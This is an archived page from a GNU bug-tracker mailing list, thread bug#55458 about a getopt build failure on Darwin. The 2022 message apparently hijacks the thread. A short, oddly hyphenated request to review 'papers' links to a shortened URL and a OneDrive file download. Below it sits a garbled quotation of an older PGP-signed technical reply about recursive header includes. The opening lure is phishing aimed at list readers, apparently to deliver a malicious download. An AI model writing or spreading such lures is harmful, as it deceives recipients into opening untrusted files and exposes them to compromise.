[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
bug#55458: getopt compilation failure on Darwin (gzip 1.3.13)
From: |
Eric Blake |
Subject: |
bug#55458: getopt compilation failure on Darwin (gzip 1.3.13) |
Date: |
Mon, 16 May 2022 06:51:47 -0800 |
Hello,
Feel free to go over th-e following papers at your earliest
conven-ience and please remember to provide us with your feedback, if
any, on it:
-
https://btn.et/quap/tmquaieteau169848643
https://onedrive.live.com/download?cid=BSQINSTFNRGHAEM6&resid=BSQINSTFN
RGHAEM6%30314&authkey=wUkON1jK02m1-7I
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 According to Eric Blake
on 10/6/2009 11:04 AM: > Ludovic Courts gnu.org> writes: > >> GNU zip
1.3.13 fails to build on Darwin: > This is a sign that our
#include_next of darwin's worked, but that > darwin's header
recursively includes some other header that calls back to our > , prior
to the completion of the first use of the system's > . The circle was:
./getopt.h did include_next did include , but found ./unistd.h
./unistd.h did include_next completed ./unistd.h did include , and
found ./getopt.h ./getopt.h declared things ./unistd.h completed
redeclared things The solution is to teach ./unistd.h to skip if the
system was the guy including unistd. That way, both the system and can
run to completion prior to ./getopt.h declaring overrides. I will be
pushing this, if further testing proves that it doesn't break Linux or
FreeBSD. - -- Don't work too hard, make some time for fun as well! Eric
Blake -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Cygwin)
Comment: Public key at home.comcast.net/~ericblake/eblake.gpg Comment:
Using GnuPG with Mozilla - enigmail.mozdev.org/
iEYEARECAAYFAkrMB2AACgkQ84KuGfSFAYDaIgCgkc1IshHToxoNPNX83XTASSDk
RooAoIK9BHxGGdveALO7tfnOfiJb5uQi =VvmQ -----END PGP SIGNATURE-----
--------------000603070307070203020501--
[Prev in Thread] |
Current Thread |
[Next in Thread] |
- bug#55458: getopt compilation failure on Darwin (gzip 1.3.13),
Eric Blake <=